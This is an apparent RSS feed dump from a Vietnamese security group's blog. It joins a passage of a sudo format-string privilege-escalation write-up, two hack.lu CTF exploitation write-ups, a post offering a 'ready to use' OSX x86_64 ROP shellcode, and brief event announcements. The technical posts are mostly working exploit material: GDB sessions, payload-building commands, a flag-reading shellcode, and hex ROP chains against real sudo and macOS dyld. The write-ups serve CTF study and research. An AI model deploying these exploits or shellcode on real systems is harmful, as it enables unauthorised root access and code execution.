We had to re-work to make our exploit has a chance to win ASLR. Obviously, we cannot pick any address of library or binary to overwrite, the only way now is to overwrite available addresses on stack. *Fortunately*, we can overwrite saved EIP of sudo_debug() directly as there is pointers to it on stack. Following GDB session shows that:

gdb$ backtrace
#0  sudo_debug (level=0x9, fmt=0xb772c013 "settings: %s=%s") at ./sudo.c:1192
#1  0xb77262ed in parse_args (argc=0x1, argv=0xb7734dc8, nargc=0xbfffe720, nargv=0xbfffe724, settingsp=0xbfffe728, env_addp=0xbfffe72c) at ./parse_args.c:413
#2  0xb77208b0 in main (argc=0x2, argv=0xbfffe7f4, envp=0xbfffe800) at ./sudo.c:203
gdb$ pref 0xb77262ed
Found 5 results:
0xbfffe030 --> 0xbfffe56c --> 0xb77262ed (0xb77262ed <parse_args+1837>:	mov    eax,DWORD PTR [esp+0x2c])
0xbfffe060 --> 0xbfffe56c --> 0xb77262ed (0xb77262ed <parse_args+1837>:	mov    eax,DWORD PTR [esp+0x2c])
0xbfffe0c0 --> 0xbfffe56c --> 0xb77262ed (0xb77262ed <parse_args+1837>:	mov    eax,DWORD PTR [esp+0x2c])
0xbfffe0f0 --> 0xbfffe56c --> 0xb77262ed (0xb77262ed <parse_args+1837>:	mov    eax,DWORD PTR [esp+0x2c])
0xbfffe2a0 --> 0xbfffe56c --> 0xb77262ed (0xb77262ed <parse_args+1837>:	mov    eax,DWORD PTR [esp+0x2c])

By chosing to return to near by function inside sudo binary (e.g my_execve()), we can effectively reduce the entropy down to 4-bits with a short write (%hn):

gdb$ run
gdb$ p my_execve
$1 = {int (const char *, char * const *, char * const *)} 0xb7721fe0 <my_execve>

gdb$ run
gdb$ p my_execve
$2 = {int (const char *, char * const *, char * const *)} 0xb7726fe0 <my_execve>

This is a quite good improvement, even on PaX-enabled kernel we only need few tries to get a root shell. But with grsecurity’s bruteforce deterring, I don’t know how long it will take (maybe days) as I failed to get a shell after a day. Though we have a good exploit against real ASLR, it is still far from ideal “one-shot exploit”. One-shot exploit can only be done if we are able to leak the library/binary address then (ab)use it on the fly.

In TODO part of Phrack 67 article, the author mentioned that he could not stabilize the use of copy (read+write) primitive when abusing printf(). I decided to reproduce his experiment under a new condition: stack limit is lifted with “ulimit -s unlimited”. After hundred of tries for different offsets, we can stabilize the copy, which means we successfully leak the address and abuse it on the fly. Hunting for address on stack is easy now, we can choose to pick saved EIP of sudo_debug itself or any address of libc available on stack (e.g from __vfprintf_internal function). Then we calculate the offset from there to an exec() function, copy (read+write) it to overwrite saved EIP of sudo_debug() with a format string looks like “%*123$x %456x %789$n”. By repeating the write step, we are able to create custom arguments on stack to prepare for a valid execution via exec() and achieve a one-shot pwn.

Notes

  • We rarely find pointer to save EIP of functions on stack for direct overwrite like this case
  • Direct parameter access is 12-bytes each unlike 4-bytes each in normal format string exploit. This will limit your ability to write to arbitrary pointer on stack.
  • Copy primitive uses unsigned value, so if library/binary base is mapped at high address (e.g 0xb7NNNNNN) we will fail to leak the address on the fly (it is still an open problem, hope someone can find out). With PaX’s ASLR, we are in luck as it maps library/binary start at something like 0×2NNNNNNN in the effect of “ulimit -s unlimited” (so it actually has effect :)).
]]>
http://www.vnsecurity.net/2012/02/exploiting-sudo-format-string-vunerability/feed/ 8
Học viện SANS đến Việt Nam 03/2012 http://www.vnsecurity.net/2011/12/hoc-vien-sans-den-viet-nam/ http://www.vnsecurity.net/2011/12/hoc-vien-sans-den-viet-nam/#comments Tue, 20 Dec 2011 09:10:31 +0000 suto https://www.vnsecurity.net/?p=1278

Những ai làm về lĩnh vực an toàn thông tin chắc đều biết đến học viện SANS như là một học viện hàng đầu thế giới về đào tạo an toàn thông tin. Học viện SANS, được thành lập từ năm 1989, đã đào tạo hơn 165,000 chuyên gia an toàn thông tin khắp nơi trên thế giới trong đó có những nhà quản lý an toàn thông tin cao cấp, chuyên gia đánh giá an ninh hay các quản trị viên hệ thống cho các tập đoàn hàng đầu thế giới hay các cơ quan an ninh chính phủ. Học viện SANS còn có một hệ thống tài liệu nghiên cứu khổng lồ về an toàn thông tin và điều hành trung tâm cảnh báo an ninh Internet.

Các chứng chỉ an toàn thông tin của học viện SANS được công nhận trên toàn thế giới và luôn được đánh giá là chứng chỉ hàng đầu về an toàn thông tin. Thông thường các khóa học của học viện SANS hàng năm diễn ra ở Mỹ, Châu Âu và một vài nước Châu Á. Việc học và thi chứng chỉ của SANS nói riêng hay các chứng chỉ quốc tế khác thường mất khá nhiều thời gian và tốn kém tại Việt nam. Như một bước khởi đầu cho việc đào tạo an toàn thông tin ở Việt nam, học viện SANS lần đầu tiên mở một khóa học SANS 560 về Kiểm Định An Toàn Thông Tin Mạng (“Network Penetration Testing and Ethical Hacking”) vào đầu năm 2012 tại thành phố Hồ Chí Minh.

Học viên sẽ được tổ chức thi chứng chỉ GIAC Penetration Tester (GIAC GPEN) tại chỗ. Đây là chứng chỉ uy tín nhất hiện nay dành cho chuyên gia an toàn thông tin trong việc kiểm định an toàn thông tin mạng.

Thời gian: Tháng 03, 2012
Địa điểm: The Fleminton Tower
182 Lê Đại Hành, Quận 11
Thành phố Hồ Chí Minh, Việt nam

Để đăng kí khóa học, xin vui lòng truy cập vào http://www.sans.org/mentor/details.php?nid=27046. SANS hiện có chương trình giảm giá cho các công ty, tổ chức về an toàn thông tin tại Việt nam cũng như các công ty đăng ký từ 02 học viên trở lên. Để có được mã giảm giá, xin vui lòng email thanh _AT_ vnsecurity.net  trước khi đăng ký.

Thông tin chi tiết hơn về khóa học có thể xem ở đây.

Thông tin tham khảo:

  1. http://force.vnsecurity.net/download/SANS-560-VN.pdf
  2. https://www.sans.org/security-training/network-penetration-testing-ethical-hacking-937-mid
  3. http://www.giac.org/certification/penetration-tester-gpen
  4. http://www.sans.org/mentor/details.php?nid=27046
]]>
http://www.vnsecurity.net/2011/12/hoc-vien-sans-den-viet-nam/feed/ 1
Hội thảo Tết 2012 http://www.vnsecurity.net/2011/12/hoi-thao-tet-2012/ http://www.vnsecurity.net/2011/12/hoi-thao-tet-2012/#comments Fri, 16 Dec 2011 16:26:18 +0000 admin https://www.vnsecurity.net/?p=1255

Tết Nhâm Thìn 2012 năm nay, VNSECURITY phối hợp cùng HVA tổ chức một hội thảo mini, nơi diễn giả trong và ngoài nước trình bày và trao đổi về những kinh nghiệm thiết thực trong việc đảm bảo an toàn cho sản phẩm cũng như hệ thống thông tin của doanh nghiệp cũng như những nghiên cứu và phát triển mới nhất trong lĩnh vực an toàn thông tin ở Việt Nam và thế giới.

Vui lòng đăng ký tham gia và gửi bài tham luận ở http://tetcon.org.

Ngày quan trọng

  • Hạn chót gửi đề tài: 31/12/2011.
  • Ngày công bố chương trình: 3/1/2012.
  • Ngày hội thảo: 13/1/2012.

Quyền lợi diễn giả

Nếu được chọn làm diễn giả, bạn sẽ được:

  • Mời dự họp mặt tất niên của HVA.
  • Mời dự hợp mặt tất niên của VNSECURITY – CLGT.
  • Nếu bạn không ở Sài Gòn, có thể chúng tôi sẽ đài thọ vé máy bay khứ hồi và khách sạn.
]]>
http://www.vnsecurity.net/2011/12/hoi-thao-tet-2012/feed/ 0
Hack.lu CTF 2011: Nebula Death Stick Services writeup http://www.vnsecurity.net/2011/10/hack-lu-ctf-2011-nebula-death-stick-services-writeup/ http://www.vnsecurity.net/2011/10/hack-lu-ctf-2011-nebula-death-stick-services-writeup/#comments Mon, 03 Oct 2011 04:25:08 +0000 longld https://www.vnsecurity.net/?p=1235

Challenge Information

Death Sticks are a totally illegal drug in the universe.
However, somehow a company called Death Stick Services has managed to get a huge trade volume by selling Death Sticks directly and anonymously to their costumers.
Seems like nobody has the power to stop them, so the Galactic’s Secret Service ordered YOU and your Special Forces team to get a Shell on Death Stick Service’s server and search for any evidence on how to take them down!
May the force be with you.

http://ctf.hack.lu:2010/

Analysis

Thanks rd for helping Analysis part.

Checking around http://ctf.hack.lu:2010/ page, I found that there is a directory traversal vulnerability (http://ctf.hack.lu:2010/?page=../../../../etc/resolv.conf). Together with “./a.out“ from HTTP response header, I managed to download the binary via this request http://ctf.hack.lu:2010/?page=../a.out.

a.out” binary is a 32 bit x86 Linux binary, running on Ubuntu 10.10 server. There is a vulnerability in query parsing function parse_params as below.

parse_params

parse_params() function basically looks ‘?‘ and ‘=‘ in order to parse the input query such as /?page=blah, and then uses the different in length (len) to store parameter name and its value to the buffer on the stack of the caller function (handle_connection()). From above code, you can see that if we input in reverse order of ‘?‘ and ‘=‘ such as /=blah?, len value will be negative but it still pass the the condition check because of signed comparison. This leads into a traditional stack buffer overflow.

$ python2 -c ‘print “GET /=” + “A”*60 + “? HTTP/”‘|nc -v localhost 2010
..
(gdb) run
Starting program: /home/jail/ctf/hack.lu/o500/a.out
Notice: Nebulaserv – A Webserver for Nebulacorp

Notice: Starting up!

- Accepting requests on port 2010
[New process 4626]
- Got request with length 0: 127.0.0.1:35695 – GET /=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA? HTTP/

- Got param: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA< with value
- Opening ./nebula/index – 404 Not Found

Program received signal SIGSEGV, Segmentation fault.
[Switching to process 4626]
0×41414141 in ?? ()

Exploit

The binary has NX and ASLR enabled so we have to leak libc info from server for ROP/ret2libc exploit. During the game, to save time we utilized shell on the same server from Nebula DB challenge to retrieved libc, then constructed a ROP payload to call a custom shell script as system(”/tmp/sh”). After the game, we investigate more to see if we can exploit without any knowledge of server. And here is the way we do:

Retrieve libc

In handle_connection() function socket fd is increased for every new connection. Though we can find this value on stack, it is still difficult to find code chunks to write back something valuable to our socket. Instead, we can utilize the directory traversal bug above to retrieve libc via this request: http://ctf.hack.lu:2010/?page=../../../../lib/libc.so.6

Construct ROP payload

With libc in hand, we know exact offset to any libc function and ROP payload can be constructed using “data re-use way” via sprintf() – which can perform byte-per-byte transfer the same as strcpy() – or “ROP with common functions in Ubuntu/Debian x86.

The flag

The flag was put in a file with strange name so you cannot guess and get it via directory traversal bug.


$ ls -l /home/nebulaserver

total 24

-r-xr-x--- 1 root nebulaserver 11195 2011-09-11 20:50 a.out

-r--r----- 1 root nebulaserver    27 2011-09-20 13:19 IguessTHISisTHEflagDOOD

drwxr-xr-x 3 root nebulaserver  4096 2011-09-11 20:22 nebula

-r-xr-x--- 1 root nebulaserver    82 2011-09-20 17:00 restart.sh

$ cat /home/nebulaserver/IguessTHISisTHEflagDOOD

Flag: R0PPINGy0urWAYinDUDE
$ ls -l /home/nebulaserver
total 24
-r-xr-x— 1 root nebulaserver 11195 2011-09-11 20:50 a.out
-r–r—– 1 root nebulaserver    27 2011-09-20 13:19 IguessTHISisTHEflagDOOD
drwxr-xr-x 3 root nebulaserver  4096 2011-09-11 20:22 nebula
-r-xr-x— 1 root nebulaserver    82 2011-09-20 17:00 restart.sh
$ cat /home/nebulaserver/IguessTHISisTHEflagDOOD
Flag: R0PPINGy0urWAYinDUDE
$

]]>
http://www.vnsecurity.net/2011/10/hack-lu-ctf-2011-nebula-death-stick-services-writeup/feed/ 1
#7th at CSAW CTF http://www.vnsecurity.net/2011/09/7th-at-csaw-ctf/ http://www.vnsecurity.net/2011/09/7th-at-csaw-ctf/#comments Mon, 26 Sep 2011 07:20:59 +0000 admin https://www.vnsecurity.net/?p=1206

There are quite a number of CTF games this month. After #hacklu last week, some of us have played CSAW CTF Quals over the weekend. We finished at 7th (solved all the challenges except the 200 points Recon Judge challenge of Dino Dai Zovi).

Congratz to the top 6 teams who solved all the challenges. See you guys at rwthCTF next week.

csawctf_ranking

P/S: ‘Undergraduate’ category was a mistake :P)

]]>
http://www.vnsecurity.net/2011/09/7th-at-csaw-ctf/feed/ 0
hack.lu CTF 2011 nebula DB systems http://www.vnsecurity.net/2011/09/hack-lu-ctf-2011-nebula-db-systems/ http://www.vnsecurity.net/2011/09/hack-lu-ctf-2011-nebula-db-systems/#comments Wed, 21 Sep 2011 18:06:18 +0000 suto https://www.vnsecurity.net/?p=1180

Challenge Summary:

While you were investigating the Webserver of Nebula Death Stick Services, we, the Galactic’s Secret Service, put our hands on a SSH account of one of the Nebula Death Stick Services founders. This account directly leads to one of their Death Stick storage clusters. Therefore we instruct you with another mission: this time you will have to break their database systems in order to get higher privileges and find further infos about Nebula Corp. And again, may the force be with you!
User: nebulauser

Pass: nebulauser

Host: ctf.hack.lu

Port: 2008

After login to ctf.hack.lu server we get 4 files:
-nebula_db
-nebula_db_nosuid
_nebula_db.c
_hint

nebula_db is a file with suid(s) bits, when you execute that you have required permission to read the flag, nebula_db_nosuid is the file for testing and debuging purpose, nebula_db.c is source code of challenge, hint is tell you where is the flag stored.
So basically you need to execute nebula_db and some how try to alter execution flow to do some more thing for you ( read the flag ).
First things is try to spot the vuln by reading source code they provided:

/* Nebula Death Stick Services Database Management System
 * This Software has been written to keep track of our customers and their orders.
 * It is still in developement, but I'm pretty sure it's already stable enough for a safe maintenance.
 */

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

#define DB_SIZE 256

char *db[DB_SIZE];

int edit_entry(char *choice, unsigned int entry)
{
        char edit[256], *ln;
        unsigned int len;

        if (atoi(choice) > entry - 1 || atoi(choice) < 0 || entry == 0)
                return -1;

        len = strlen(db[atoi(choice)]);

        printf("Enter your edit: ");
        fgets(edit, sizeof(edit) - 1, stdin);

        ln = strchr(edit, '\n');

        if (ln != NULL)
                *ln = '\0';

        strncpy(db[atoi(choice)], edit, len);

        return 0;
}

char *insert_new_order(unsigned int entry, char *name, char *amount)
{
        char sname[256], samount[256], *nl, *ptr;(3)
        int ret;

        nl = strchr(name, '\n');

        if (nl != NULL)
                *nl = '\0';

        nl = strchr(amount, '\n');

        if (nl != NULL)
                *nl = '\0';

        ret = asprintf(&ptr, "ID: %d: Name: %s Amount: %s", entry, name, amount);

        if (ret == 0)
                return NULL;

        return ptr;
}

char *enter_new_order(unsigned int entry)
{
        char name[256], amount[256];

        printf("Enter a Name: ");
        fgets(name, sizeof(name) - 1, stdin);

        printf("Enter amount of Death Sticks: ");
        fgets(amount, sizeof(amount) - 1, stdin);

        if (atoi(amount) <= 0) {
                fprintf(stderr, "Insert a real amount please!\n");
                return NULL;
        }

        if (entry > DB_SIZE - 1) {
                fprintf(stderr, "Database already full!\n");
                return NULL;
        }

        return insert_new_order(entry, name, amount);

}

int print_database(unsigned int entry)
{
        unsigned int i;

        for (i = 0; i < entry; i++)
                printf("%s\n", db[i]);

        return 0;
}

int exit_free(unsigned int entry)
{
        unsigned int i;

        for (i = 0; i < entry; i++)
                free(db[i]);

        return 0;
}

int main(int argc, char **argv)
{
        char choice[256], *ret;
        unsigned int entry = 0, len, i;

        puts(
                "Nebula Database set up!\n"
                "Enter your choice of action:\n"
                "1 - Insert new order\n"
                "2 - Edit order\n"
                "3 - List orders\n"
                "4 - Exit\n"
        );

        while (1) {(4)
                printf("Your choice: ");
                fgets(choice, sizeof(choice) - 1, stdin);
                switch (atoi(choice)) {
                        case 1:
                        ret = enter_new_order(entry);

                        if (ret == NULL) {
                                fprintf(stderr, "Error inserting new order!\n");
                                break;
                        }

                        db[entry] = ret;
                        entry++;(2)
                        break;

                        case 2:
                        printf("Enter the ID of your order: ");
                        fgets(choice, sizeof(choice) - 1, stdin);

                        if (edit_entry(choice, entry) == -1)
                                fprintf(stderr, "That entry does not exist!\n");

                        break;

                        case 3:
                        print_database(entry);
                        break;

                        case 4:
                        return exit_free(entry);

                        default:
                        fprintf(stderr, "Option does not exist\n");
                }
        }

        return 0;
}

As they said, the challenge is a small db management, it save name and amount of orders in an array up to 256 record. You can add or edit a record.
So the funny part is:

  ret = asprintf(&ptr, "ID: %d: Name: %s Amount: %s", entry, name, amount);
   if (ret == 0)
                return NULL;

And after reading manpages of asprintf, i figured out there is a problem when using it without fully understand what it returned, so return value indicate how many bytes it printed, and the funny part is when it failed, it will return -1 but programmer is not check for that case, they think when it will return 0 mean it failed.
It mean we can still increase entry value at (2) without create any new record. It basic will lead to double free memory corruption error. So next thing is try to figure out how to force asprintf return -1 ( or force it can’t alloc any memory ). After getting help from rd and xichzo, we found ulimit do the tricks:

suto@ubuntu:~$  ulimit -v 1795
suto@ubuntu:~$ ./nebula_db
Nebula Database set up!
Enter your choice of action:
1 - Insert new order
2 - Edit order
3 - List orders
4 - Exit

Your choice: 1
Enter a Name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Enter amount of Death Sticks: 1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
Your choice: 4
*** glibc detected *** ./n: double free or corruption (out): 0x08049118 ***
Aborted (core dumped)
suto@ubuntu:~$

After getting here, i see another way can lead to successful exploitation. When asprintf fail, it will use ptr(3) at a result for main program use to keep track a record, somehow we can make this ptr point to some where we want and edit_entry will take care the rest to write a value we control to that address(since ptr is use without initialized)
But i can’t find anyway to do that, so i thinking another solution.
And i wonder if when the first alloc failt, so it will use the original value of at that address. After some check i’m stuck cause i can’t not do anything without this default value.
I try some google in hopeless :p with keyword: “control uninitialized memory”
At the first resutls is:
http://drosenbe.blogspot.com/2010/04/controlling-uninitialized-memory-with.html

Another trick to control memory at the begining of process execution. Let’s check:

suto@ubuntu:~$ export LD_PRELOAD=`python -c 'print "A"*20000'`
suto@ubuntu:~$ ulimit -c unlimited
suto@ubuntu:~$  ulimit -v 1795
suto@ubuntu:~$ ./nebula_db
ERROR: ld.so: object '<A>*20000...
 from LD_PRELOAD cannot be preloaded: ignored.
Nebula Database set up!
Enter your choice of action:
1 - Insert new order
2 - Edit order
3 - List orders
4 - Exit

Your choice: 1
Enter a Name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Enter amount of Death Sticks: 1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
Your choice: 2
Enter the ID of your order: 0
Segmentation fault (core dumped)
suto@ubuntu:~$

So if this tricks work, we will have a write to address at 0×41414141.

(gdb) x/i $eip
=> 0xb764b706:  movdqu (%edi),%xmm1
(gdb) i r $edi
edi            0x41414141       1094795585
(gdb) bt
#0  0xb764b706 in ?? () from /lib/i386-linux-gnu/libc.so.6
#1  0x0804864c in edit_entry ()
#2  0x08048a04 in main ()

So this is all i want :p Next things is find some where to write, and i choose GOT section, first thing i trying is printf@GOT and using a hardcode address to return, and i stupid try to do that to the end of the game :(.
After that, thinking a little bit, i got another solution:
After the calling edit_entry ( where we can directly write to GOT section), program will return to while loop at (4) and continue execute, then i see a good candidate to overwrite is atoi, why? cause after fgets at (5) eax will point to our string, and we will use call *eax gadget to execute our shellcode.
And finally:

export LD_PRELOAD=`python -c 'print "\x18\x91\x04\x08"*4000+"\xcc"*1000'`

This will force program wirte to atoi@PLT and

suto@ubuntu:~$ objdump -d n | grep call | grep eax
 80485a8:       ff 14 85 08 90 04 08    call   *0x8049008(,%eax,4)
 80485ef:       ff d0                   call   *%eax
 8048b1b:       ff d0                   call   *%eax
suto@ubuntu:~$ python -c 'print "1\n"+"A"*250+"\n"+"1"*250+"\n"+"2\n0\n"+"\x1b\x8b\x04\x08"*40+"\xcc"*400' > input
suto@ubuntu:~$ bash
suto@ubuntu:~$ ulimit -s unlimited
suto@ubuntu:~$ export LD_PRELOAD=`python -c 'print "\x18\x91\x04\x08"*4000+"\xcc"*1000'`
suto@ubuntu:~$ ulimit -c unlimited
suto@ubuntu:~$  ulimit -v 1795
suto@ubuntu:~$ ./nebula_db < input
ERROR: ld.so: object from LD_PRELOAD cannot be preloaded: ignored.
Nebula Database set up!
Enter your choice of action:
1 - Insert new order
2 - Edit order
3 - List orders
4 - Exit

Trace/breakpoint trap (core dumped)
.......
(gdb) x/20x $eip
0xbfa33571:     0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
0xbfa33581:     0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
0xbfa33591:     0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
0xbfa335a1:     0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
0xbfa335b1:     0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc

So you can replace \xcc with a shellcode to read the flag key file.
Here is my shellcode to read /home/suto/flag and write to /tmp/flag: ( assembly source)

char shellcode[] =
        "\xeb\x44\x5b\x31\xc0\x88\x43\x0f\xb0\x05\xb9\x42\x44\x41\x41"
        "\xc1\xe1\x14\xc1\xe9\x14\x66\xba\xe4\x01\xcd\x80\x50\x83\xc3"
        "\x10\x31\xc0\xb0\x05\xcd\x80\x5b\x50\xb0\xc8\x29\xc4\x89\xe1"
        "\x89\xc2\x31\xc0\xb0\x03\xcd\x80\xb0\xc8\x01\xc4\x5b\x31\xc0"
        "\xb0\x04\xcd\x80\x31\xc0\xb0\x01\xcd\x80\xe8\xb7\xff\xff\xff"
        "\x2f\x68\x6f\x6d\x65\x2f\x73\x75\x74\x6f\x2f\x66\x6c\x61\x67"
        "\x41\x2f\x74\x6d\x70\x2f\x66\x6c\x61\x67";
suto@ubuntu:~$ python -c 'print "1\n"+"A"*250+"\n"+"1"*250+"\n"+"2\n0\n"+  "\xeb\x44\x5b\x31\xc0\x88\x43\x0f\xb0\x05\xb9\x42\x44\x41\x41       \xc1\xe1\x14\xc1\xe9\x14\x66\xba\xe4\x01\xcd\x80\x50\x83\xc3
\x10\x31\xc0\xb0\x05\xcd\x80\x5b\x50\xb0\xc8\x29\xc4\x89\xe1
\x89\xc2\x31\xc0\xb0\x03\xcd\x80\xb0\xc8\x01\xc4\x5b\x31\xc0
\xb0\x04\xcd\x80\x31\xc0\xb0\x01\xcd\x80\xe8\xb7\xff\xff\xff
\x2f\x68\x6f\x6d\x65\x2f\x73\x75\x74\x6f\x2f\x66\x6c\x61\x67
\x41\x2f\x74\x6d\x70\x2f\x66\x6c\x61\x67";' > input
suto@ubuntu:~$./nebula_db < input
suto@ubuntu:~$cat /tmp/flag
hello

Finally,congratz to bobsleigh is the only team solved it.
Thanks fluzfinger team for a great ctf. See u guys in next year!

–suto–

]]>
http://www.vnsecurity.net/2011/09/hack-lu-ctf-2011-nebula-db-systems/feed/ 2
#4th at hack.lu CTF http://www.vnsecurity.net/2011/09/4th-at-hack-lu-ctf/ http://www.vnsecurity.net/2011/09/4th-at-hack-lu-ctf/#comments Wed, 21 Sep 2011 12:04:41 +0000 admin https://www.vnsecurity.net/?p=1173

Thanks FluxFingers for the great #CTF at hack.lu!!!!

final_score

]]> http://www.vnsecurity.net/2011/09/4th-at-hack-lu-ctf/feed/ 0 Yet another universal OSX x86_64 dyld ROP shellcode http://www.vnsecurity.net/2011/07/yet-another-universal-osx-x86_64-dyld-rop-shellcode/ http://www.vnsecurity.net/2011/07/yet-another-universal-osx-x86_64-dyld-rop-shellcode/#comments Sat, 30 Jul 2011 13:50:00 +0000 longld https://www.vnsecurity.net/?p=1157

This technique was killed by OSX Lion 10.7 with full ASLR. @pa_kt has posted an Universal ROP shellcode for OS X x64 with detail steps and explanation. If you don’t have a chance to read above post, the basic ideas are:

  • Copy stubcode to a writable area (.data section)
  • Make that area RWX
  • Jump to RWX area and execute stubcode
  • Stubcode will transfer normal shellcode to RWX area and execute it
  • All the ROP gadgets are from dyld module which is not randomized

In this post, we shows another OSX x86_64 dyld ROP shellcode which is more simple. We employ the same ideas with some minor differences in implementation:

  • Instead of using long gadgets with “leave”, we use direct, short gadgets from unintended code
  • Calling mprotect() via syscall
  • Short stubcode (7 bytes) using memcpy() to transfer payload

Here is the ROP shellcode with explanation:


# store [target], stubcode

0x00007fff5fc0e7ee # pop rsi ; adc al 0x83

0xc353575e545a5b90 # => rsi = stubcode

0x00007fff5fc24cdc # pop rdi

0x00007fff5fc74f80 # => rdi

0x00007fff5fc24d26 # mov [rdi+0x80] rsi; stubcode => [target]

# load rdx, 0x7 (prot RWX)

0x00007fff5fc24cdc # pop rdi

0x00007fff5fc75001 # => rdi

0x00007fff5fc1ddc0 # lea rax, [rdi-0x1]

0x00007fff5fc219c3 # pop rbp ; add [rax] al ; add cl cl

0x00007fff5fc75000 # => rbp

0x00007fff5fc0e7ee # pop rsi ; adc al 0x83

0x0000000000000007 # => rsi

0x00007fff5fc14149 # mov edx esi ; add [rax] al ; add [rbp+0x39] cl => rdx = 0x7

# load rsi, 4096 (size)

0x00007fff5fc0e7ee # pop rsi ; adc al 0x83

0x0000000000001000 # => rsi = 4096

# load rax, mprotect_syscall

0x00007fff5fc24cdc # pop rdi

0x000000000200004b # => rdi

0x00007fff5fc1ddc0 # lea rax, [rdi-0x1] => rax = 0x200004a (mprotect syscall)

# load rdi, target

0x00007fff5fc24cdc # pop rdi

0x00007fff5fc75000 # => rdi = target

# syscall

0x00007fff5fc1c76d # mov r10, rcx; syscall  => mprotect(target, 4096, 7)

0x00007fff5fc75000 # jump to target, execute stubcode

# stubcode

# 5B                pop rbx     # rbx -> memcpy()

# 5A                pop rdx     # rdx -> size

# 54                push rsp    # src -> &shellcode

# 5E                pop rsi     # src -> &shellcode

# 57                push rdi    # jump to target when return from memcpy()

# 53                push rbx    # memcpy()

# C3                ret         # execute memcpy(target, &shellcode, size)

0x00007fff5fc234f0 # &memcpy()

0x0000000000000200 # shellcode size = 512

<your shellcode here>

You can verify those gadgets and find more here: http://goo.gl/p35vY

Ready to use shellcode:


"\xee\xe7\xc0\x5f\xff\x7f\x00\x00\x90\x5b\x5a\x54\x5e\x57\x53\xc3"

"\xdc\x4c\xc2\x5f\xff\x7f\x00\x00\x80\x4f\xc7\x5f\xff\x7f\x00\x00"

"\x26\x4d\xc2\x5f\xff\x7f\x00\x00\xdc\x4c\xc2\x5f\xff\x7f\x00\x00"

"\x01\x50\xc7\x5f\xff\x7f\x00\x00\xc0\xdd\xc1\x5f\xff\x7f\x00\x00"

"\xc3\x19\xc2\x5f\xff\x7f\x00\x00\x00\x50\xc7\x5f\xff\x7f\x00\x00"

"\xee\xe7\xc0\x5f\xff\x7f\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00"

"\x49\x41\xc1\x5f\xff\x7f\x00\x00\xee\xe7\xc0\x5f\xff\x7f\x00\x00"

"\x00\x10\x00\x00\x00\x00\x00\x00\xdc\x4c\xc2\x5f\xff\x7f\x00\x00"

"\x4b\x00\x00\x02\x00\x00\x00\x00\xc0\xdd\xc1\x5f\xff\x7f\x00\x00"

"\xdc\x4c\xc2\x5f\xff\x7f\x00\x00\x00\x50\xc7\x5f\xff\x7f\x00\x00"

"\x6d\xc7\xc1\x5f\xff\x7f\x00\x00\x00\x50\xc7\x5f\xff\x7f\x00\x00"

"\xf0\x34\xc2\x5f\xff\x7f\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00"
# store [target], stubcode
0×00007fff5fc0e7ee # pop rsi ; adc al 0×83
0xc353575e545a5b90 # => rsi = stubcode: memcpy(target, shellcode, size)
0×00007fff5fc24cdc # pop rdi
0×00007fff5fc74f80 # => rdi
0×00007fff5fc24d26 # mov [rdi+0x80] rsi; stubcode => [target]
# load rdx, 0×7 (prot RWX)
0×00007fff5fc24cdc # pop rdi
0×00007fff5fc75001 # => rdi
0×00007fff5fc1ddc0 # lea rax, [rdi-0x1]
0×00007fff5fc219c3 # pop rbp ; add [rax] al ; add cl cl
0×00007fff5fc75000 # => rbp
0×00007fff5fc0e7ee # pop rsi ; adc al 0×83
0×0000000000000007 # => rsi
0×00007fff5fc14149 # mov edx esi ; add [rax] al ; add [rbp+0x39] cl => rdx = 0×7
# load rsi, 4096 (size)
0×00007fff5fc0e7ee # pop rsi ; adc al 0×83
0×0000000000001000 # => rsi = 4096
# load rax, mprotect_syscall
0×00007fff5fc24cdc # pop rdi
0×000000000200004b # => rdi
0×00007fff5fc1ddc0 # lea rax, [rdi-0x1] => rax = 0×200004a (mprotect syscall)
# load rdi, target
0×00007fff5fc24cdc # pop rdi
0×00007fff5fc75000 # => rdi = target
# syscall
0×00007fff5fc1c76d # mov r10, rcx; syscall  => mprotect(target, 4096, 7)
0×00007fff5fc75000 # jump to target, execute stubcode
# stubcode
# 5B                pop rbx     # rbx -> memcpy()
# 5A                pop rdx     # rdx -> size
# 54                push rsp    # src -> &shellcode
# 5E                pop rsi     # src -> &shellcode
# 57                push rdi    # jump to target when return from memcpy()
# 53                push rbx    # memcpy()
# C3                ret         # execute memcpy(target, &shellcode, size)
0×00007fff5fc234f0 # &memcpy()
0×0000000000000200 # shellcode size = 512
<your shellcode he
]]>
http://www.vnsecurity.net/2011/07/yet-another-universal-osx-x86_64-dyld-rop-shellcode/feed/ 0
